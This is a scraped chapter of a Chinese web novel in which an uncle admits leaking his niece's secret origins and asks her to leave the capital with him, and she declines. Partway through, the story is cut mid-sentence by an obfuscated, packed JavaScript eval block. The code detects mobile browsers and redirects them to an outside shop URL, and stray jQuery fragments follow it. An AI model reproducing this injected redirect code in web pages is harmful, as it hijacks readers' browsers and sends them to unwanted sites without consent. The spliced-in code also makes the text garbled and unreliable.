文趣网 > 其他小说 > 重生后嫁给温柔叔父 > 27. 拒绝
    沈琢一直都明白她的聪敏。

    沈澜宜是个心思细腻的姑娘,她总是能观察到别人不甚在意的细节。

    在沈琢决定放出消息的时候,便特意让邓停云做的隐蔽些。所以消息并不是从沈家传出来的,而是在佛音寺,这样一来,即便事发也能顺便推到韩延身上。

    但今日澜宜突然说了这些。

    他了解澜宜,若没有十足的把握,她不会像方才那般斩钉截铁地质问。

    看来是有人刻意误导了她。沈家竟然还有这样居心叵测的人。

    沈琢随手扔了书,长眉微蹙,眉心隐约浮现浅显的纹路。

    不算严厉的语气,他问:“你是如何得知的?”

    他并没有否认。

    沈澜宜后退半步,心霎时凉了半截。

    “我,我不明白,为什么……”

    不明白什么?她也说不清楚。明明在沈家,沈琢是她除了母亲以外,最尊敬爱重的长辈。这么多年,他的回护与偏爱,沈澜宜也都看在眼里。

    怎么一夕之间,一切全变了模样。

    自从那日从佛音寺回来后,她便让芝兰去打听有关她身世的秘密是从何处传出来的。却没料到兜兜转转,竟是最先从侯府下人口中传出的。

    那时的沈澜宜便隐隐意识到,除了叔父,还会有谁呢?

    只是她不肯信,一连半个月都在欺瞒自己,还傻傻的在寻找韩延,试图用这些事来麻痹自己。

    可今日,她终于还是没忍住问出口的时候,叔父并不否认的语气,硬生生将她半月来勉强筑起的心墙崩塌了。

    她踉跄地后退,脊背贴上冰凉的墙壁,沈澜宜一个哆嗦,忽然很想逃。

    只见沈琢撑膝起身,一步一步迈过来,高大的身形遮住身后窗子的光线,渐渐把沈澜宜整个儿笼罩在内。

    下巴被沈琢略微一抬手箍住,粗砺的指腹慢慢碾过肌肤,抚去那晶莹的一滴残泪。

    这样的动作太过怪异,沈澜宜不自禁地抬眼望去。

    阴影之下,沈琢锋利的眉眼愈发冷冽,双目微微凝滞,不知在想些什么。薄唇却紧紧绷着,显然是在为着什么而烦躁。

    她不想看了,微微别过脸去。

    沈琢眸光颤了颤。

    想都不用想,沈澜宜此刻定是不安的。她定然觉得他抛弃了她,心里估计又在妄自菲薄。

    作为叔父,作为一个合格的长辈,他此刻应当耐心教导,告诉她要多爱惜自己,不要在意其他人的看法和评价,试一试学着再坚韧些。

    只是……

    面前的姑娘眼角泛着浅粉色的水光,细白的面颊微微垂落,檀唇还在轻轻吐气,强忍着不让泪水落下。是让人看一眼就心疼的不得了的模样。

    他快要克制不住自己了。

    许是下巴被钳制着很不舒服,沈澜宜挣扎不动,试探地轻唤一声,“叔父……”

    “别再唤我叔父了。”他不想做她的叔父。

    冷沉的嗓音骤然响起,沈澜宜心头一颤,强忍许久的眼泪如断了线的珠子,随之坠落。

    “莺莺,在你心里,我在什么位置呢?”

    这话将沈澜宜问得一愣。

    他握住沈澜宜的手,不轻不重地把玩。

    “是和你母亲在一样的位置吗?”

    “算了。”

    言罢,他有些自嘲地摇头轻笑,不等听沈澜宜的答复,继续道:“这件事是有我的手笔,不过并不是让沈家下人散播的。”

    沈澜宜不自在地抽回手,脊背轻轻抵住墙壁,问:“为什么要这么做?”

    “自然是有我的私心。”沈琢并未详细解释什么私心,而是仔细地为澜宜整理略微凌乱的乌发。

    认真的神色像在小心抚摸着什么珍宝。

    他顿了顿,“莺莺,我即将离开京城,归期不定。整个沈家,我最放心不下的,唯你一人。你的婚事迟迟难以落定,家中豺狼虎豹,你和你母亲恐怕应付不来。”

    听到这儿,沈澜宜微怔地睁大双眼,似乎没料到会听见他说这样的话。

    “莺莺,你愿不愿意跟我离开,以一个全新的身份。”

    沈澜宜的眼睛立时浮现出无措。

    她的心口微微起伏,脑海里一直在重复一句话:愿不愿意跟他离开。

    愿不愿意?

    直到愈发强烈心跳声充斥在耳畔,甚至盖过了周遭一切响动,澜宜才发觉自己很难做出干脆的决定。

    她首先想到,母亲人在保定府,作为女儿,应当选择留在保定陪伴母亲才对。

    只是,她此刻为何会犹豫呢。

    “我,我还要陪着母亲,她年纪大了。”澜宜把自己的犹豫归咎于前世。毕竟前世叔父的结局那样凄惨,作为侄女,面对这样两头选一个的抉择,她会动摇实属正常。

    书房内霎时静了下来。

    半晌,沈琢低低嗯了一声,似乎早就料到她的选择,面上没什么情绪。

    “也好。”沈澜宜听见他的声音,神色虽如常,却似乎有说不上来的变化。

    ……

    从见素居出来的时候,澜宜心里还有些恍惚。

    她总觉得叔父对自己有所隐瞒,毕竟就算他要离京,不公开她的身世,照样也能护住自己才对。

    他这样做,反而多此一举。难道,叔父还有别的什么目的?

    但得知这件事是他散步的,澜宜心里难免生出芥蒂。

    她侧身问芝兰是从何处打探到身世是沈家人散播出去这件事。芝兰思索片刻,说那日她神色匆匆地去打探消息,结果碰上丛竹小哥,这事便也是从他那得知的。

    丛竹……他是沈齐肃的人。

    晚些时候,沈老太太院里突然过来了人,在澜宜院内好一通奚落。

    话里话外的意思,就是说她本就不是沈家血脉,还撺掇着家中长辈替她为那桩本就告吹的婚事抱不平,不肯成全孙妙微。

    有些话说得更难听,甚至连带数落她父亲。说什么若澜宜是什么罪臣之女,岂不是会给沈家带来灾祸。

    澜宜气得想笑,心里明白这是沈老太太为了孙妙微,决心同自己撕破脸皮了,就是为了让沈琢尽快出面处理这场闹剧。

    不过,澜宜不吃这一套。

    她把来挑事的人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778928|206369||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一一噎了回去,也完全没给老太太留面子。院门一关,索性谁也不见。

    但澜宜明白,她恐怕不能继续再在侯府待着了。

    翌日一早,沈齐肃坐在她院中喝茶。

    芝兰过来告诉澜宜的时候,她正在用早膳。原本不打算见他,可又突然好奇他的来意。

    收拾妥当,澜宜来到庭中。

    沈齐肃开口的第一句话就是,“昨日的事情我听说了,你将来有何打算?”

    沈澜宜一寸不错地看着他,试图从他的眼睛里看出端倪,却一无所获。

    “暂时只能想到回保定去陪母亲,实在不行,就去南方寻父亲。是他带我回来的,总不会不管我……”

    话未说完,她便敏锐地从沈齐肃面上捕捉到一抹异色,转瞬即逝。

    澜宜想起,以往她在沈齐肃面前提起父亲这个字眼时,总事能看到他方才的神情。只是这一次有所掩饰,若不是她刻意观察,几乎就要忽略了去。

    “父亲确实不会不管你。”他的目光有些飘远了,似乎想起些什么,“不如先回去陪陪母亲罢,你我二人,总要留一个在她身前尽孝。”

    “我知道,在京城我也待不下去了,毕竟我的身世是沈家下人传出去的,这京城侯府,暗处还不知藏了谁想要赶我走呢。”

    沈齐肃只随意嗯了一声,便打算着手为她安排回保定的行程。

    似乎对沈澜宜方才说的话完全不惊讶意外,仿佛早就知道了似的。澜宜慢慢攥紧了拳,几乎能确定丛竹告诉芝兰的消息,说不定是有沈齐肃的授意。

    整个沈家,她能信任的还有多少人呢。

    ……

    回保定的行程很快就定在月底,也是沈琢赴任的前几天,日子很快便到了。

    临行这日,到场的只有沈澜希和沈齐肃,没有四叔。

    说不清是惆怅还是什么,澜宜窝在沈澜希怀里流了许久的泪。澜希心疼地拍着她的肩,安慰说过几日便能回去团聚。

    一行车马与来时热闹的架势截然不同,里头只坐着澜宜和芝兰,晃晃悠悠的回到老宅,回到母亲身边。

    许氏不顾下人劝阻,早早在门外接迎。

    母女一见面便哭成一对儿泪人,身边下人无不动容。

    沈澜宜一开始还有些怯生生的,害怕母亲和沈老太太一样,因为她的身世不愿意再接纳她。可很快,她便觉得是自己多想了。

    她和许氏原本就不是血溶于水的亲母女,这么多年扶持着走过来,哪能是京城的风言风语能斩断的呢。

    日子又像从前那样过下去,老宅里只有许氏和澜宜这对母女,和从前也没什么分别。

    要非说有,便是澜宜不再能盼着沈琢哪天会从京城回来,会不会带些什么东西供她解闷儿。叔父就要离开京城,也不会再回保定了。

    数着日子,越来越临近沈琢赴任的时候。

    沈澜宜的心绪也一日比一日沉重纷乱,就连许氏也看不下去了,问她究竟发生了什么。澜宜却只是笑,不知该不该告诉母亲她此刻复杂又难言的内心。

    又经过两天,便到了沈琢前去朔州的日子。